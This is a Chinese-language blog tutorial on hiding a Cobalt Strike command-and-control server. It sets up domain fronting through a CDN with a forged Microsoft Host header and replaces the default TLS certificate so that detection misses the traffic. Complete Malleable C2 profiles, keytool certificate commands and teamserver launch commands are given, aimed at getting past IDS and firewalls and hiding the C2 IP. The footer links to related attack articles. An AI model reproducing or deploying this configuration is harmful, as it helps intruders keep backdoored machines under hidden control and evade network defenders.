CS 域前置+流量混淆

VSole2021-10-14 06:58:22

域前置

简介

域前置(Domain Fronting)被称为域前端网络攻击技术,是一种隐藏连接真实端点来规避互联网审查的技术。这种技术被安全人员多用来隐藏 Metasploit,Cobalt Strike 等团队控制服务器流量, 以此来一定程度绕过检查器或防火墙检测的技术,国内外如:Amazon ,Google,Akamai 等大型厂商都会提供一些域前端技术服务。

域前置技术原理

同一个 IP 可以被不同的域名进行绑定然后进行网站加速,比如现在有两个网站,分别是 www.a.com 和 www.b.com,两个网站都指向同一个IP:123.123.123.123 ,然而这个IP实际上是一个CDN服务器,当浏览器访问 www.a.com 或 www.b.com 的时候怎么保证 访问的目标是正常的是指定的网站内容,这个时候就要在 HTTP 请求包里在 host 头加入访问的域名。 

简单理解:

被攻击机器 -> www.microport.com(走aliyun cdn的域名,根据设定的host头: dns.google.cn找到对应的vps_ip) -> cdn流量转发到vps_ip(c2真实地址)。

实践

环境:cobalt strike 4.2  公网 CentOS

国内可以在鹅厂,某云购买CDN云加速服务,但注意,国内使用CDN云加速服务需要域名进行备案,如果你使用某云的必须购买已备案的域名。

开通CDN服务,加速域名:随便填个高信誉的域名实现域名伪造,例如:oss.microsoft.com,dns.google.com之类的。这里我使用msoffice.microsoft.com 伪造高信誉域名。


设置完成后,过一段时间就会生效。

在超级 ping 测试 cdn 的 ip 是否正常 http://ping.chinaz.com。 

修改CS的域前置配置

修改 C2 的 profile 配置文件。

在https://github.com/xx0hcd/Malleable-C2-Profiles选择合适的profile文件,修改host头为我们准备好的域名。

统一替换里面的设置里面的header “Host”值为自己配置的域名,

设置set trust_x_forwarded_for “true”,转发目标的真实ip。

set sleeptime "3000";set jitter    "30";set maxdns    "255";set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";

###HTTP-Config Block###http-config {    set headers "Server, Content-Type";    header "Content-Type" "text/html;charset=UTF-8";    header "Server" "Apache/2.2.22 (Ubuntu)";
    set trust_x_forwarded_for "true";}

http-get {
    set uri "/api/getit";    
    client {        header "Host" "mfoffice.microsoft.com";        header "Accept" "*/*";        header "Connection" "Keep-Alive";        metadata {            base64;            prepend "SESSIONID=";            header "Cookie";        }    }
    server {        header "Content-Type" "application/ocsp-response";        header "content-transfer-encoding" "binary";        header "Server" "Apache/2.2.22 (Ubuntu)";        output {            base64;            print;        }    }}

http-stager {      set uri_x86 "/vue.min.js";    set uri_x64 "/bootstrap-2.min.js";
    client {            header "Host" "mfoffice.microsoft.com";        header "Connection" "Keep-Alive";        }      server {                header "Server" "Apache/2.2.22 (Ubuntu)";        header "Keep-Alive" "timeout=5, max=100";        header "Connection" "Keep-Alive";            output {                    print;        }
    }}


http-post {    set uri "/api/postit";        client {        header "Accept" "*/*";        header "Host" "mfoffice.microsoft.com";        id {            base64;            prepend "JSESSION=";            header "Cookie";        }        output {            base64;            print;        }    }     server {        header "Content-Type" "application/ocsp-response";        header "content-transfer-encoding" "binary";        header "Connection" "keep-alive";        output {            base64;            print;        }    }}

在 CentOS 上运行 teamserver 加上配置文件:

sudo ./teamserver x.x.x.x zxczxczxc cdn.profile 

PS: 可以在命令的最前面加个 nohub ,表示不挂断的运行命令,不然 shell 断了 cs 也会连接不上。 

以上命令如果运行报错说明profile文件配置错误了,仔细检查一下。

没有出错的情况下,连接,配置监听器。

选择 payload beacon https, 

https hsots 是某云 cdn 的 ip。

生成后门测试。

上线。

用 Wireshark 进行抓包,走 cdn 节点,流量进行也加密了,C2 服务器的 ip 也隐藏了。 

流量加密混淆

生成证书修改 C2 profile 流量加密混淆 

cobalt strike 是很多红队的首选的攻击神器,同时很多APT团队近几年也都曾使用这个工具进行攻击在,效果显著。导致很多 IDS 入侵检测工具和流量检测工具已经可以拦截和发现,特别是流量方面,如果使用默认证书进行渗透和测试,特别在高度安全的环境下,好不容易找到一个突破口,因为证书没修改,被流量检测出来并进行拦截,检测报告将返回给管理员,管理员就能马上将缺口进行修复。那么红队之前的攻击就会付诸东流,攻击计划就要重新制定。 

流量加密传输已经成为现在红队的基本素养,生成证书修改 C2 profile 加密混淆实际上就是对流量加密传输,目的逃逸流量安全审计,穿透检测器。 

生成SSL证书

运行CS的时候,默认使用的证书是 cobaltstrike.store 证书,默认的证书特征很明显,很容易被检测设备识别,我们生成新的证书的意义就是绕过检测设备,使之无法识别出明显的特征。 

Keytool是一个java数据证书的管理工具,Keytool将密钥 和 证书 存放在一个称为 keystore 的文件中,即.store后缀的文件中。

keytool用来管理私钥仓库(keystore)和与之相关的X.509证书链(用以验证与私钥对应的公钥),也可以用来管理其他信任实体。

常用命令:

查看证书文件:            keytool -list -v -keystore xx.store修改证书密码:            keytool -storepasswd -keystore xx.store

查看 cs 的默认cobaltstrike.store:

keytool -list -v -keystore cobaltstrike.store

可以看出默认的特征信息都很明显。

创建新证书

keytool -genkey -alias google.com -keyalg RSA -validity 36500 -keystore cobaltstrike.store
输入之后输入密码:zxczxczxc按照提示一步一步填写最后输入y确定生成证书文件

修改 C2-profile 文件 

set sample_name "C2.profile";set sleeptime "3000";set jitter    "30";set maxdns    "255";set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";
#设置证书  https-certificate {    set CN "DS";    set O "DS";    set C "ZG";    set L "BJ";    set OU "DS";    set ST "BJ";    set validity "365";}#设置  code-signer{    set keystore "cobaltstrike.store";    set password "zxczxczxc";    set alias "google.com";}#指定 DNS beacon 不用的时候指定到 IP 地址  set dns_idle "8.8.4.4";#每个单独 DNS 请求前强制睡眠时间  set dns_sleep "0";#通过 DNS 上载数据时主机名的最大长度[0-255]  set maxdns "235";
###HTTP-Config Block###http-config {    set headers "Server, Content-Type";      header "Server" "Apache/2.2.22 (Ubuntu)";
    set trust_x_forwarded_for "true";}

http-get {
    set uri "/api/getit";    
    client {        header "Host" "mfoffice.microsoft.com";        header "Accept" "*/*";        header "Connection" "Keep-Alive";        
        metadata {            base64;            prepend "SESSIONID=";            header "Cookie";        }    }
    server {        header "Content-Type" "application/ocsp-response";        header "content-transfer-encoding" "binary";        header "Server" "Apache/2.2.22 (Ubuntu)";        output {            base64;            print;        }           }}

http-stager {      set uri_x86 "/vue.min.js";    set uri_x64 "/bootstrap-2.min.js";
    client {            header "Host" "mfoffice.microsoft.com";        header "Connection" "Keep-Alive";        }
    server {                header "Server" "Apache/2.2.22 (Ubuntu)";        header "Keep-Alive" "timeout=5, max=100";        header "Connection" "Keep-Alive";            output {                    print;        }
    }}


http-post { set uri "/api/postit";        client {        header "Accept" "*/*";        header "Host" "mfoffice.microsoft.com";        id {            base64;            prepend "JSESSION=";            header "Cookie";        }        output {            base64;            print;        }    }
    server {        header "Content-Type" "application/ocsp-response";        header "content-transfer-encoding" "binary";        header "Connection" "keep-alive";        output {            base64;            print;        }    }}

执行命令:

./c2lint C2.profile

没有报错,正常运行,如果运行失败,会出现红色。

修改端口

teamserver 默认端口是 50050 ,很明显,需要修改一下。


运行:

./teamserver x.x.x.x zxczxczxc C2.profile

PS:这里有个坑点,CS的证书密码默认是123456 ,如果你新生成的证书的密码不是123456,那么,修改端口的时候,后面的 .ssl.keyStorePassword的值也要修改一下,修改成你设置的密码。

测试

访问https证书生效。

正常上线。

wireshark抓取流量分析,可以看到流量已经走https加密了。

hostbase64
本作品采用《CC 协议》,转载必须注明作者和本文链接
官方下载地址: https://dbeaver.com/download/ultimate/
Docker-remoter-api渗透
2022-04-18 16:24:50
看雪论坛作者ID:H.R.P
一般在获取靶机的初始shell后,会进行提权,可以先查看home目录下的用户,因为有可能需要这个用户来做跳板去获取root权限;然后可以查看有没有sudo滥用,定时任务,suid文件,或者home目录下另外一个用户时宿主的文件等等,但是,往往有一个很容易被忽略,历史命令的查看。
如何爆破带有验证码的Web登录表单
Tomcat的一种利用方式
2022-12-12 10:05:47
访问/manager/html输入用户名和密码,自动在里面上传war进行部署显然这不归Tomcat负责,应该由用户保证自己的账号和密码安全TomcatManager为的管理采用了作者名作HTTP Basic认证,也就是用户名作认证后的Base64保护。这Tomcat也是官方拒绝该漏洞的原因之一,他们认为基于JMXProxy实现的RCE攻击和类似的,由用户负责安全public class LockOutRealm extends CombinedRealm { /** * 用户连续认证失败的次数 * 被锁定。
0X00 前言如果在渗透中遇到带有验证码的网站登录口,相信很多小伙伴遇到了带验证码的登录口就直接放弃了爆破弱口令的想法,这样会丧失很多机会,所以今天就让我来推荐一些可以识别验证码的Burp插件,以此用来爆破登录口。
Bypass Shellcode - Encryptor
2022-01-03 08:55:10
Bypass Shellcode - Encryptor
CS 域前置+流量混淆
2021-10-14 06:58:22
域前置(Domain Fronting)被称为域前端网络攻击技术,是一种隐藏连接真实端点来规避互联网审查的技术。这种技术被安全人员多用来隐藏 Metasploit,Cobalt Strike 等团队控制服务器流量, 以此来一定程度绕过检查器或防火墙检测的技术,国内外如:Amazon ,Google,Akamai 等大型厂商都会提供一些域前端技术服务。
情景一 默认SSH密码批量反弹shell 情景二 dump源码 情景三 利用shell批量getflag 情景四 批量利用一句话木马种植不死马 最近工作很忙 今天抽空准备下AWD比赛得攻防工具和脚本 以下只是常用 希望下周不被吊锤~~ 后续整理后想抽空写成一个攻击框架汇总放github~~ 这里从各种情景和需求中去总结工具和脚本的使用
前段时间参加攻防演练的时候,发现目标系统有很多都使用了用友的产品,故整理一篇关于用友漏洞的文章。
VSole
网络安全专家